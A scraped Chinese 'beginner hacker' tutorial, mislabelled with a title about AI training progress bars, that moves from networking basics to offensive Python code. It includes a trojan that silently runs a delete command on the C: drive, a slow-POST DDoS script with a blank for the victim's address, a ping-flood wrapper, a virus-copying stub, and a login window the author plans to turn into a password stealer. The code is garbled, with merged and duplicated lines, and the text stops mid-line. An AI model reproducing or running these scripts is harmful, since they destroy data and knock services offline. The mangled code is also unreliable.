人工智慧訓練過程中的進度條(python)
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引子
Hacker(黑客),往往被人們理解為只會用非法手段來破壞網路安全的計算機高手。但是,黑客其實不是這樣的,真正的“網路破壞者”是和黑客名稱和讀音相似的駭客。
駭客,是用黑客手段進行非法操作併為己取得利益的人。黑客,是用黑客手段為國家或單位做事的人。
那麼,既然黑客不是一個很壞的職業,我們就可以去試著學習。
黑客本身的初衷
——黑客其實一直是善良的。 駭客其實他的前身就是黑客。
駭客與黑客分家,有這麼一個故事:
原本,只有黑客一族。而不久後,有些黑客想用黑客手段來獲取利益,不斷被其他的黑客反對。於是,那些黑客悄悄私下成立了一個新的族群——駭客族。
駭客族產生後,一直處於保密狀態,所以,沒有人知道這個族。
直到有一天——
駭客族出現了一次大騷動:
不斷的進行網路欺騙、流量攻擊,盜取了很多人的賬號,還修改了一些大型的搜尋網站。
於是,從這天開始,黑駭(黑客和駭客)分家了。
黑客的初衷本是一些測試程式漏洞的計算機高手,他們還幫國家和單位做事。但是,人心總是貪婪,造成了駭客的誕生。
從此以後,防病毒產品誕生了。
基礎篇
什麼是病毒
病毒,指的是一些通過非法手段獲取系統的一些許可權,然後進行破壞或者盜取。
病毒分為兩類:
1、破壞型
這類病毒往往會將系統弄的亂七八糟,比如把你的U盤刪光,把你的系統背景調成黑客圖片,把你的桌面全部變成某個圖示…
這些病毒一般比較明顯,所以,防毒軟體一般比較容易查殺,但是,下面這種就不一樣了。
2、非破壞型
非破壞型病毒不會把你的系統怎麼樣,也不會刪除你的檔案和修改你的個性化操作,他們只有一個目的:盜取檔案或讓它們的主人進入你的計算機。例如最典型的灰鴿子,就是讓黑客進行連線,然後控制你的電腦。冰河也是一樣。還有一種ftp木馬,它們的目的就是開啟21埠,等待黑客連線。
安裝程式設計環境:Python3.7 IDE
在編寫程式進行黑客攻擊和病毒編寫之前,我們得先安裝我們的程式設計環境:Python3.7 IDE
從網路上下載:Python3.7 IDE
接著,雙擊它,按照安裝嚮導完成安裝。
啟動
在Windows搜尋欄中搜索:Python
會顯示出:
開啟它!
打造攻擊目標:VMware虛擬機器
我們現在還沒有一個攻擊目標,因為我們現在不能攻擊別人的電腦,否則,你就是駭客了。
那麼,我們只有安裝VMware虛擬機器了。
安裝VMware Workstation player
(注:此處不細說,因為版本不一,安裝不一樣)
開啟!
然後,請下載Windows 7 原生純淨映象,可以百度“我告訴你”,點選第二個,下載Windows7。
新建虛擬機器
點選“建立新虛擬機器”
點選“下一步”
這裡需要輸入Windows7的金鑰,按圖中輸入。
下一步:
下一步:
我們已經完成了VMware Workstation 虛擬機器的配置,現在我們啟動它:
在這段時間內,計算機(虛擬機器)會重啟數次,最終完成安裝。
安裝成功後即可開始使用Windows 7 ,並且可以向它發起猛烈的攻擊了。
Windows7是微軟(Microsoft)的傑出產品之一,但可惜的是它還是被更優秀的Windows10取代。在2015年,微軟(Microsoft)正式宣佈不再支援Windows7,也就意味著,不會再有新的更新給使用Windows7的使用者了。
啟動成功!我們可以在這臺Windows上工作,並且也可以攻擊它了!
編寫經典程式——Hello,World!
開啟Python,點選File,New。
在彈出的視窗中輸入:
print('Hello, World!')
點選Run,最後一個選項,檢視結果。
顯示:
Hello, World!
這表示IDE程式可用,也表示,你已經成為一名程式設計師了!
測試網路的PING
PING程式是Microsoft(微軟公司)為Windows使用者準備的網路檢測程式,使用他,可以幫你檢視網路狀態和網路是否可訪問。
鍵擊“windows鍵+R”,開啟執行視窗,輸入cmd,回車,即可開啟終端視窗。在這裡,你可以做很多一般人做不到的事情。
在終端裡輸入ping/?,檢視詳細用法。
常用指令:
PING -t ip
注:這樣可以PING指定的IP到永遠,除非你停止它。很多初級黑客喜歡用這個引數來進行網路堵塞的攻擊。
PING -l 大小 ip
注:這樣可以設定傳送包大小
PING -n 次數 ip
注:這樣可以設定次數。
試試對baidu.com進行PING指令
開啟終端,輸入PING -n 10 -l 10 baidu.com
(此命令必須在Windows 8以上才可以執行,Windows 7部分版本不支援PING網頁)
我們檢測到我們可以連線到baidu.com,說明我們的網路是可用的。
TCP\IP協議
TCP/IP傳輸協議,即傳輸控制/網路協議,也叫作網路通訊協議。它是在網路的使用中的最基本的通訊協議。TCP/IP傳輸協議對網際網路中各部分進行通訊的標準和方法進行了規定。並且,TCP/IP傳輸協議是保證網路資料資訊及時、完整傳輸的兩個重要的協議。TCP/IP傳輸協議是嚴格來說是一個四層的體系結構,應用層、傳輸層、網路層和資料鏈路層都包含其中。
TCP/IP協議是Internet最基本的協議,其中應用層的主要協議有Telnet、FTP、SMTP等,是用來接收來自傳輸層的資料或者按不同應用要求與方式將資料傳輸至傳輸層;傳輸層的主要協議有UDP、TCP,是使用者使用平臺和計算機資訊網內部資料結合的通道,可以實現資料傳輸與資料共享;網路層的主要協議有ICMP、IP、IGMP,主要負責網路中資料包的傳送等;而網路訪問層,也叫網路介面層或資料鏈路層,主要協議有ARP、RARP,主要功能是提供鏈路管理錯誤檢測、對不同通訊媒介有關資訊細節問題進行有效處理等。
TCP/IP協議能夠迅速發展起來併成為事實上的標準,是它恰好適應了世界範圍內資料通訊的需要。它有以下特點:
(1)協議標準是完全開放的,可以供使用者免費使用,並且獨立於特定的計算機硬體與作業系統。
(2)獨立於網路硬體系統,可以執行在廣域網,更適合於網際網路。
(3)網路地址統一分配,網路中每一裝置和終端都具有一個唯一地址。
(4)高層協議標準化,可以提供多種多樣可靠網路服務。
TCP/IP協議的層次
網路層
IP協議
網路層引入了IP協議,制定了一套新地址,使得我們能夠區分兩臺主機是否同屬一個網路,這套地址就是網路地址,也就是所謂的IP地址。IP協議將這個32位的地址分為兩部分,前面部分代表網路地址,後面部分表示該主機在區域網中的地址。如果兩個IP地址在同一個子網內,則網路地址一定相同。為了判斷IP地址中的網路地址,IP協議還引入了子網掩碼,IP地址和子網掩碼通過按位與運算後就可以得到網路地址。
ARP協議
即地址解析協議,是根據IP地址獲取MAC地址的一個網路層協議。其工作原理如下:ARP首先會發起一個請求資料包,資料包的首部包含了目標主機的IP地址,然後這個資料包會在鏈路層進行再次包裝,生成乙太網資料包,最終由乙太網廣播給子網內的所有主機,每一臺主機都會接收到這個資料包,並取出標頭裡的IP地址,然後和自己的IP地址進行比較,如果相同就返回自己的MAC地址,如果不同就丟棄該資料包。ARP接收返回訊息,以此確定目標機的MAC地址;與此同時,ARP還會將返回的MAC地址與對應的IP地址存入本機ARP快取中並保留一定時間,下次請求時直接查詢ARP快取以節約資源。
路由協議
首先通過IP協議來判斷兩臺主機是否在同一個子網中,如果在同一個子網,就通過ARP協議查詢對應的MAC地址,然後以廣播的形式向該子網內的主機發送資料包;如果不在同一個子網,乙太網會將該資料包轉發給本子網的閘道器進行路由。閘道器是網際網路上子網與子網之間的橋樑,所以閘道器會進行多次轉發,最終將該資料包轉發到目標IP所在的子網中,然後再通過ARP獲取目標機MAC,最終也是通過廣播形式將資料包傳送給接收方。而完成這個路由協議的物理裝置就是路由器,路由器扮演著交通樞紐的角色,它會根據通道情況,選擇並設定路由,以最佳路徑來轉發資料包。
所以,網路層的主要工作是定義網路地址、區分網段、子網內MAC定址、對於不同子網的資料包進行路由。
傳輸層
鏈路層定義了主機的身份,即MAC地址,而網路層定義了IP地址,明確了主機所在的網段,有了這兩個地址,資料包就從可以從一個主機發送到另一臺主機。但實際上資料包是從一個主機的某個應用程式發出,然後由對方主機的應用程式接收。而每臺電腦都有可能同時執行著很多個應用程式,所以當資料包被髮送到主機上以後,是無法確定哪個應用程式要接收這個包。因此傳輸層引入了UDP協議來解決這個問題,為了給每個應用程式標識身份。
UDP協議
UDP協議定義了埠,同一個主機上的每個應用程式都需要指定唯一的埠號,並且規定網路中傳輸的資料包必須加上埠資訊,當資料包到達主機以後,就可以根據埠號找到對應的應用程式了。UDP協議比較簡單,實現容易,但它沒有確認機制,資料包一旦發出,無法知道對方是否收到,因此可靠性較差,為了解決這個問題,提高網路可靠性,TCP協議就誕生了。
TCP協議
TCP即傳輸控制協議,是一種面向連線的、可靠的、基於位元組流的通訊協議。簡單來說TCP就是有確認機制的UDP協議,每發出一個數據包都要求確認,如果有一個數據包丟失,就收不到確認,傳送方就必須重發這個資料包。為了保證傳輸的可靠性,TCP協議在UDP基礎之上建立了三次對話的確認機制,即在正式收發資料前,必須和對方建立可靠的連線。TCP資料包和UDP一樣,都是由首部和資料兩部分組成,唯一不同的是,TCP資料包沒有長度限制,理論上可以無限長,但是為了保證網路的效率,通常TCP資料包的長度不會超過IP資料包的長度,以確保單個TCP資料包不必再分割。
傳輸層的主要工作是定義埠,標識應用程式身份,實現埠到埠的通訊,TCP協議可以保證資料傳輸的可靠性。
應用層
理論上講,有了以上三層協議的支援,資料已經可以從一個主機上的應用程式傳輸到另一臺主機的應用程式了,但此時傳過來的資料是位元組流,不能很好的被程式識別,操作性差,因此,應用層定義了各種各樣的協議來規範資料格式,常見的有http,ftp,smtp等,在請求Header中,分別定義了請求資料格式Accept和響應資料格式Content-Type,有了這個規範以後,當對方接收到請求以後就知道該用什麼格式來解析,然後對請求進行處理,最後按照請求方要求的格式將資料返回,請求端接收到響應後,就按照規定的格式進行解讀。
所以應用層的主要工作就是定義資料格式並按照對應的格式解讀資料。
黑客入門的操作命令
1、“肉雞”
“肉雞”有點類似牽線木偶,是指可以被黑客神不知鬼不覺地遠端控制的電腦或者大型伺服器。不論什麼系統都有可能淪為“肉雞”。
2、“木馬”
“木馬”是一種在執行後可以得到系統的控制權的程式。拿網頁木馬舉例,主要是利用瀏覽器的漏洞把網頁木馬搞到瀏覽器訪問者本地上,然後自動執行的。
3、“後門”
黑客在通過某種手段成功控制目標主機之後,搞到系統的訪問許可權。訪問系統後通過系統漏洞得到root許可權,再安裝rootkit,就可以較長時間地控制該目標主機。
4、“弱口令”
弱口令的安全強度不高,易於被猜到破解的密碼,比如123456、654321。
5、“溢位”
“溢位”一般指的是緩衝區溢位。說白了,就是程式沒有進行有效地監測,導致輸入的資料沒執行。這樣的程式和沒有執行的資料越來越多,最後程式會解體,也有可能錯誤地執行黑客的命令。
6、“花指令”
“花指令”是用匯編語言寫成的,導致防毒軟體無法對病毒進行合理地判斷。因為防毒軟體有順序規則,就是從頭到尾來查殺病毒。而一旦病毒的頭尾順序不對,防毒軟體就歇菜了。
7、“免殺”
“免殺”,顧名思義,就是免去防毒軟體的查殺。使用一些技術把程式進行修改,這些技術主要有加殼、加密、加花指令等。
8、“加殼”
“加殼”的目的主要有壓縮檔案、將程式編碼加密、免殺等,主要通過一些不一般的演算法改變可執行程式或者DLL動態連結庫檔案的編碼。
9、“Shell”
“Shell”是一種程式或者命令的執行環境。比如,一般用遠端溢位程式後,可以成功控制遠端電腦,在該電腦執行系統命令的環境就是“Shell”。
Python編寫基本程式
Python是一個強大的語言,它十分簡潔,但是十分有用。
在此書編寫時,Python3.7.3已經算較新的版本了,所以如果想和本書同步,請安裝Python3.7.3
程式設計,就是指用一段計算機能聽懂的話讓計算機去幫你做事情,這就叫程式設計。
我們已經學會了“Hello,World!”的編寫,現在,我們來編寫一個簡單的登入系統,我們在後期,會將它改裝成一個盜取密碼的病毒。
登入.py
from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser try : window=tk.Tk() window.title('歡迎使用Windows高階功能!') window.geometry('450x300')畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')標籤 使用者名稱密碼
tk.Label(window,text='使用者名稱:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)使用者名稱輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)登入函式
def usr_log_in():
#輸入框獲取使用者名稱密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取使用者資訊,如果沒有則新建本地資料庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷使用者名稱和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:tk.messagebox.showinfo(title='welcome', message='歡迎您:'+usr_name) else: tk.messagebox.showerror(message='密碼錯誤') #使用者名稱密碼不能為空 elif usr_name=='' or usr_pwd=='' : tk.messagebox.showerror(message='使用者名稱或密碼為空') #不在資料庫中彈出是否註冊的框 else: is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊,是否現在註冊') if is_signup: usr_sign_up()
註冊函式
def usr_sign_up():
#確認註冊時的相應函式 def signtowcg(): #獲取輸入框內的內容 nn=new_name.get() np=new_pwd.get() npf=new_pwd_confirm.get() #本地載入已有使用者資訊,如果沒有則已有使用者資訊為空 try: with open('usr_info.pickle','rb') as usr_file: exist_usr_info=pickle.load(usr_file) except FileNotFoundError: exist_usr_info={} #檢查使用者名稱存在、密碼為空、密碼前後不一致 if nn in exist_usr_info: tk.messagebox.showerror('錯誤','使用者名稱已存在') elif np =='' or nn=='': tk.messagebox.showerror('錯誤','使用者名稱或密碼為空') elif np !=npf: tk.messagebox.showerror('錯誤','密碼前後不一致') #註冊資訊沒有問題則將使用者名稱密碼寫入資料庫 else: exist_usr_info[nn]=np with open('usr_info.pickle','wb') as usr_file: pickle.dump(exist_usr_info,usr_file) tk.messagebox.showinfo('歡迎','註冊成功') #註冊成功關閉註冊框 window_sign_up.destroy() #新建註冊介面 window_sign_up=tk.Toplevel(window) window_sign_up.geometry('350x200') window_sign_up.title('註冊') #使用者名稱變數及標籤、輸入框 new_name=tk.StringVar() tk.Label(window_sign_up,text='使用者名稱:').place(x=10,y=10) tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10) #密碼變數及標籤、輸入框 new_pwd=tk.StringVar() tk.Label(window_sign_up,text='請輸入密碼:').place(x=10,y=50) tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50) #重複密碼變數及標籤、輸入框 new_pwd_confirm=tk.StringVar() tk.Label(window_sign_up,text='請再次輸入密碼:').place(x=10,y=90) tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90) #確認註冊按鈕及位置 bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊', command=signtowcg) bt_confirm_sign_up.place(x=150,y=130)
退出的函式
def usr_sign_quit():
try :window.destroy() except : pass
登入 註冊按鈕
bt_login=tk.Button(window,text='登入',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)主迴圈
window.mainloop()
--coding:utf-8-
import socket
import threading
import Queue
import time
except :
pass
這段程式碼會讓使用者輸入使用者名稱和密碼,並且進行登入。
木馬程式的編寫
在本章,我們將正式開始木馬的編寫。
用Python寫木馬,其實很簡單。
下面是我例舉的一個破壞型木馬的程式碼:
Delete.py
import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import os import sys import subprocess ret = subprocess.call("del C:\ ", shell=True) window=tk.Tk() window.withdraw() window.mainloop()
他其實很簡單,但是,卻又讓一些很基礎的使用者受騙。
很多人在電腦彈出視窗提示時都喜歡點選“是”“確認”“好”,但是,可能就因為這樣,你的C:\被刪除了。這意味著,你失去了系統盤!
破壞型木馬很好編寫,我們在前期都在編寫破壞型木馬和病毒,所以都比較簡單。
Python之外,課外擴充套件
GoC繪圖語言
這種語言主要功能是繪圖,是程式設計新人的不二選擇——因為它的程式碼太簡單了!
開啟GoC
輸入以下程式碼:
int main() {p.fd(100); p.rt(90); p.fd(100); p.rt(90); p.fd(100); p.rt(90); p.fd(100); p.rt(90); return 0;
}
執行:
C++/C
這些語言想必大家都比較清楚,在這裡就不多介紹。
如果對這些語言有興趣,可以去學習。
在Dev-C++(初學者程式設計環境)中建立新檔案,輸入以下程式碼:
#include<iostream> using namespace std; int main() { cout<<"Hello,World!"<<endl; return 0; }
執行後,顯示:
Hello,World!
初級篇
在這一篇,你將成為一名黑客……
Python編寫DDoS攻擊程式
分散式拒絕服務攻擊(英文意思是Distributed Denial of Service,簡稱DDoS)是指處於不同位置的多個攻擊者同時向一個或數個目標發動攻擊,或者一個攻擊者控制了位於不同位置的多臺機器並利用這些機器對受害者同時實施攻擊。由於攻擊的發出點是分佈在不同地方的,這類攻擊稱為分散式拒絕服務攻擊,其中的攻擊者可以有多個。
那麼,我們用程式碼來執行DDoS攻擊,你可以邀請你的朋友一起來學習和使用。
下面,你可以把程式碼複製到你的Python上,然後執行,試試效果。
DDoS.py
import socket import time import threading #Pressure Test,ddos tool---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號裡輸入對方IP或域名,要保證他聯網了或開機了.
PAGE="/index.php"---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())conn_th.start()
send_th.start()
在指定位置輸入你要攻擊的IP或網址,執行,就可以進行攻擊了。
運用PING程式進行網路堵塞攻擊
前面說過,PING程式可能會使網路堵塞,所以,我們根據這個原理編寫了一個攻擊程式。
網路堵塞.py
import os import socket import time ip = input("請輸入IP:") os.system("ping -t -l 50 " + ip)
執行程式,輸入IP,就可以等待指定主機網路堵塞了。
連線對方的計算機
我們可以使用“telnet”命令來進行遠端終端的連線。
開啟終端視窗,輸入telnet/?,檢視用法:
輸入 telnet HOST POST,可以進行連線,這裡以baidu.com為例:
這裡已經成功連線,正在載入。
運用它可以連線遠端主機,實現遠端操控。
運用ftp來進行檔案傳輸
ftp是一種協議,也是一種指令,用它,可以進行檔案傳輸。
開啟終端,輸入:
可以根據這些指令進行檔案的傳輸。
有一些防毒軟體(例如:金山毒霸、趨勢科技)會進行阻止,因為它們都會自我防護,防止未知木馬下載到計算機上。
copy
執行copy程式,可以讓它幫你複製檔案,你可以在病毒中新增這個程式,讓無知的計算機幫你複製病毒程式。
開啟終端視窗,輸入copy/?:
根據help,我們來編寫一個可以複製某個程式的病毒:
import sys import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import os import sys import subprocessos.system("copy 路徑 路徑 ")
這是一個簡單的程式,但在後期,卻非常有用!
運用socket模組
在上個小節,有個DDoS攻擊程式,這個程式裡呼叫了一個模組:socket
這個模組是個很棒的外掛,它可以幫你進行連線,就像一個可以幫你插電線的電工。
呼叫socket模組
#呼叫socket import socket print("Hello,socket!")
DDoS原理
就像接東西,張三接,李四扔。李四不停扔蘋果給張三,張三不斷接蘋果,接著接著,手上滿了!那麼,只有把蘋果掉在地上了。
就是這個原理,我不斷進行連線,對方不斷處理連線,慢慢的慢慢的,對方的系統主機繁忙到堵塞,一大堆的請求沒有處理,堆在網路連線處,系統還在不斷處理,等處理到一定時候,系統的運算已經達到了超負荷,就會崩潰。這就是DDoS的原理。
Hacker(黑客)軟體(篇)
黑客軟體是一些黑客高手做的軟體,這些軟體可以簡化攻擊成本和難度,是很多黑客的不二之選。
但是今天,我們不來下別人的黑客軟體,咱們來做自己的黑客軟體!
黑客軟體製作
1、網路堵塞工具 V1.0
首先,我們要設計我們的LOGO:
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┒
┃網路堵塞工具 V1.0||||||||||||||||||||||||||| ┃
┃|||||網路堵塞工具,選這款!|||||||||||| ┃
┖━━━━━━━━━━━━━━━━━━━━━━━━━━┛
[]|[]|[][]|[][][][]|[][][]|[][]tiantian520ttjs所有——
接著,開始想它的呈現方式:
1、終端形式
2、視窗形式
這裡,我們來做終端形式。
輸入程式碼:
import tkinter as tk import tkinter.messagebox import pickle import pickle import tkinter as tk import tkinter.messagebox import subprocess import time from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import datetime import tkinter as tk import tkinter.messagebox from os import path from subprocess import Popen, PIPE from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename from time import sleep import time from tkinter import * import tkinter.messagebox import tkinter.filedialog import os import webbrowser def input_cd(): cd = input("請輸入指令>>") if cd == "1": ping() if cd == "2": print('此功能暫不可用') input_cd()def ping():
host = input("請輸入對方IP:")
qiangdu = input("請輸入強度(1-65500)